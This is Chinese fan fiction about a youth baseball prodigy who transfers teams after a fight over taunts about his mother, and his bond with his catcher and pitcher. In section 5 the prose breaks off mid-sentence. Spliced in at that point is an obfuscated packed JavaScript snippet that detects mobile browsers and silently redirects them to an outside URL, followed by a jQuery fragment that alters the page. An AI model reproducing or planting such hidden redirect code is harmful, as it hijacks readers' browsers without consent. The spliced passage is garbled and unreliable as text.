0.
“您好，我是从大京青少棒转来的星出星流，守备位置是三垒手和右外野手，以后请您多加担待。”
蓝发少年深深鞠躬，声音缓和，抬头时让中森监督看清了他的脸。
那张与棒球杂志刊登照片别无二致的秀气脸蛋上，赫然印着一块乌紫，还织着几丝细细的暗红，狰狞伤口边缘处靠近眼眶，还有些浮肿，简直让旁人心惊胆战。
而知晓个中内情的中森监督无愧于严厉之名，他对星出的敬意没有任何回应，更别提表现得和蔼关切，仅表示：星出进入队伍后他不希望看见此类事件再发生。
“抱歉，这不是我能决定的，监督。”
瘦弱的少年还不像往后那样有魄力，但他此时不打算软弱妥协。
星出星流想，惹怒监督没关系，再被推到别的队伍也无所谓……一直打棒球的话，总会有我的容身之处。
他表情愈发阴郁冷冽，稚气未脱的面容上浮现绝不后悔的狠绝。
“故意用‘家人’挑衅我——我也不希望这种事再发生了。”
·
·
1.
关东联盟下备受关注的强打者，星出星流，最近深陷大京队内斗殴风波。
在大人们有心操作和交易下，星出星流被送往宝谷青少棒，并在事件一周后成为宝谷的先发队员，戴上个位数背号。
有些人对此颇有微词。
“他一打二，把一个三年级的手臂掰折了，听说另一个牙齿都掉了两颗，还脑震荡住院了！”
在监督的高压下，新鲜的讯息以窃窃私语的形式在队伍内流传。
八卦杂谈本不该是要圭关心的目标，他也不屑于和七嘴八舌的人报团，但架不住天降三垒手自带流量，更衣室、饮水机间、牛棚门口……他无论走在哪里都能听见关于星出星流的消息，越传越离谱，最后演变成“星出有狂躁症和暴力倾向，不打棒球的时候就好梦中打人”。
就连清峰叶流火最近也常露出若有所思的表情
——他大概还在介意训练里被星出打出去的球。
训练质量150%的清峰叶流火，在要圭蹲捕时每一次投球都全心全意，没有一丝一毫浪费。
但如此认真的投球竟然被打者轻轻松松敲出去了……？！
那天叶流火情绪上头，执拗着要和星出分个胜负，打磨好的滑球也没能唬住打者，七支完美安打，两支全垒打。
所有的球，一支一支地打出去。
宝谷其他队员们看过来的眼神逐渐从惊讶，崇拜，变为惊恐。
打过九球之后，星出星流主动叫停，他收起球棒夹在怀里，表情无奈地开始脱手套：“抱歉，是我不好。”
要圭接受他诚恳的道歉，也揭下面罩站起身。他瞥了眼气鼓鼓跑过来的清峰叶流火，平淡地吩咐：“今天球数满了，叶流火，冷敷完还有力气就去踩单车。”
·
·
2.
展现实力之后，宝谷对星出星流的接纳度有所提高。但畏惧暴力事件，又或者畏惧和他交好会被原来的三垒手和队内强打者孤立……总之，基本上没有人主动找星出说话。
除了清峰叶流火，他无视别人的反应，在一众紧张地打量中，来找星出星流约投打对决。
要圭规定每次不能超过五球，接着，一边倒的比赛再次上演。
宝谷队友从最开始的惊异“那可是清峰叶流火的球！竟然都打出去了？！”，到中间的疲倦“怪物吗他们……”，再到最后的麻木“让他们打完自己捡球可以吗？教练好歹也说说他们啊”。
和星出一起练习，配球策略有所提升。
叶流火的投球也越发圆融稳定，他的控球再上一个档次，体力消耗状态下也能保证优越的球质。
逐渐地，要圭和清峰叶流火无声接纳了这位充满流言的天才打者。
想攻克星出，只能是初见杀，不能给他熟悉和适应投手的机会。
要圭垂下眼睫，仔细思索。内外角配球对他来说没有欺骗性，眼睛准，或者说空间信息处理功能异于常人，需要用丰富的、不同的球路让他没办法迅速熟悉。
……正统右投清峰叶流火的克星吗。
·
·
3.
地区预选赛上，星出星流无论在内野还是外野，守备都无可挑剔。
作为强打者出色完成了援护投手的任务，被安排在不同棒序时也能完美执行不同战术，基本上第二打席能够即时分析得出投手的特质和动作细节……
初来乍到时眼眶下方的乌紫早已不见踪影，那双蓝黑色的眼睛平静透彻，看穿一切，掌握一切。已经开始抽条的挺拔身姿站立在打击区，握紧漆黑球棒时表情冷漠，成为投手的无解难题。
而星出和要两人站在一起商量对策时，便是宝谷迅猛出动的前兆。
监督几乎把星出的才能压榨到极致，使他成为刺杀其他队伍的利刃。
加上要圭在场内灵活的调度指挥，宝谷势不可挡地杀进全国大赛。
在众目的舞台上飞速发酵声名，在吃紧的赛程里高压锤炼心性，在天才的激斗中吞噬彼此才能，棒球运动蜕变成最纯粹的投接球游戏。要与清峰的组合锁住对手得分，星出成为对方投手的处刑者，更在准决赛时刷新青少棒单场比赛本垒打纪录。
比赛结束，要圭在欢呼、尖叫与嘶喊至沙哑的应援声中走向清峰叶流火。
投手丘上结束宝谷队友的胜利庆祝后，要圭望向抽身离开队友包围的星出，刻板印象为冷漠酷烈的两人隔空不约而同浅浅微笑，经由优胜加冕为青少棒世代最佳投手的清峰叶流火默默站在要身边，相比起胜利，他似乎更在意眼前和搭档的一瞬。
——这张跨页照片收录于642号棒球杂志，本刊号成为月度热版。
此为青少棒的传说。
当前世代是宝谷的世代，更是天才投捕与天才打者紧密联结的世代！
缜密诡谲的智将·捕手·操盘手，要圭，拥有压倒性实力、将球儿们的心灵完全击溃的怪物投手，清峰叶流火。以及——令人惊异的神之手眼，别称“逆飞流星之打者”，星出星流。
·
·
4.
带着优胜从大阪回来，星出星流的状态有所改变。
宝谷队员：“平时没见到你赢了有这么高兴，果然全国优胜的含金量还是不一样吗。”
在大阪那边还有名校监督过来找宝谷负责人商量，像清峰啊星出啊要啊这几个，肯定都会被看中，提前签下推荐吧。
有切实的胜利握在手中，主力队员还都是一年级生，明年不出意外还会继续赢，全队包括监督的态度都缓和下来。
“不是的，”星出星流摇摇头，露出一个相当罕见的笑容，连眼睛都愉快地弯起来，看上去真的高兴，“在大阪有四场比赛——我妈妈都来看了。”
说完，他脸色一肃，意识到自己说出了平时藏着掖着、甚至防着别人知道的话题，眉头立刻蹙起，直到队友战战兢兢打量他，谨慎地说出“这么远妈妈还来应援，好辛苦哦”，之后，星出星流嗯了一声，没再搭腔。
·
·
5.
在竞争激烈的运动社团里，什么都能成为破绽。
就完成度臻于完美的打者来说，他的破绽是家庭关系。
“星出同学，他一直和他爸爸一起生活，很可怜哦。”
最开始是这样的话。
然后是，变了味的“抛弃论”。
再然后是。
“星出，你妈妈——”
——！
那句话撞翻了所有理智，引燃了一个在不断用自我安慰填补成长中情感缺失的、坚持忍耐到此时此刻的少年的所有怒火。
星出星流失控地冲了出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526340|160299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去，比他过往一切迈步都要迅疾。
而等他清醒过来时，左脸僵硬得发痛，也许是正面挨了一拳的肿胀；左右手紧握成拳，指甲掐进掌心，灼热的、黏腻的感觉；指节刮破了，刺痛着、翻卷着皮；被自己摁倒在地的人脸上嘴里都有血，正“空空空”地咳嗽，眼泪随恐惧和愤恨流出；另一个人倒在地上抱着手臂尖叫，哭泣。
他打翻了两个人，一个三年级，一个二年级，都是青少棒队的老资历。
所幸没有造成严重伤害，一个人手臂扭挫和多处淤青，另一个人轻微鼻骨骨折和轻度脑震荡。两周后大多恢复了。
再没有人敢当面挑衅星出星流。
但星出星流也在大京待不下去了。
·
·
6.
“对那两个人造成的伤害我感到很抱歉，但我不后悔动手。他们的……家长，闹到教练那里，不好交代，教练就托关系把我送到宝谷来了。”
星出星流一五一十地讲出来，话音落下后集体沉默。
大家把隐晦的谴责目光投向第一个提出玩国王游戏的人，再转到接下来提议“用真话回答代替惩罚”的人，再再转到提问“星出为什么会来宝谷”的金城，再再再……连同为被惩罚者的、满脸无辜的清峰叶流火都盯了，就是不去看星出星流。
这也太……
星出还真耿直地说了真话啊？！
“都是好久以前的事情了。”
星出淡定地说，从口袋里掏出一盒uno，“讲这个你们觉得扫兴的话，要不换uno玩吧。”
“扫兴到不至于，但国王两次都是要圭也太赖了。刚好十个人可以开。”
金城将功补过，主动收起扑克捧场。他手很巧，一抽一拉就把周围一圈人的牌收走，给uno腾位置，“没多长时间吧，你来也才不到六个月。”
“是吗，和你们一起的时间每一刻都好漫长。宝谷气氛还挺好的，我很开心哦。”
先不说宝谷这种竞争激烈的高压锅气氛好在哪。
……开心的时候不应该是觉得“时间过得很快”吗？！
还随身携带uno……怪人。
金城哼了声，能跟队伍里最难搞的两人相处融洽，星出在忍耐度上确实也变异了。他倒是有心学习与模仿，但走过全国大赛的舞台的宝谷，尤其是其中经受最多锻炼的投捕和打者，身上已然发生了了不得的进化。
天才……或者说怪物，明明有着轻易筛选同类的能力，却在挑选对等的对手/搭档时全凭心意，最麻烦的时他们一旦认定了某个理念或者人物，就如同笃信自己一般笃信对方，犟得拉不回来。
金城开始考虑自己作为捕手的进路，他不自觉地说：“要同学的话，应该能去大阪阳盟吧。”
另外两个他问都不用问，好投手和好打者比捕手抢手得多，恐怕全国大赛期间不止阳盟来提前要人。
星出还去应了u15和日台交流赛的征召，虽然因为断断续续的生长期，没能入选，但在选拔会上的精彩表现可收获了名教练们的青眼。
要圭扣着牌，在下家紧张的眼神中轻描淡写道：“这么早就问进路……未来的事情谁能说的定呢？uno。”
金城眉头一跳，这厮打uno也快赢了，真不爽。
“以前玩uno没这么费劲啊——”
场上两个捕手，还都是策略型，擅长通过计算和预判将随机性转化为可控优势，在uno这种运气保下限，策略提上限的小游戏里，一旦动真格就能带起自己的节奏。
在金城和要绵里藏针，阴阳怪气，你来我往的机锋之中，宝谷少年们度过了一个难忘的合宿uno之夜。
·
·
7.
但正如要圭所言，未来的事情谁也说不准。
就比如升入高中时，一直被打上阳盟预备役标签的星出、要和清峰三人，销声匿迹。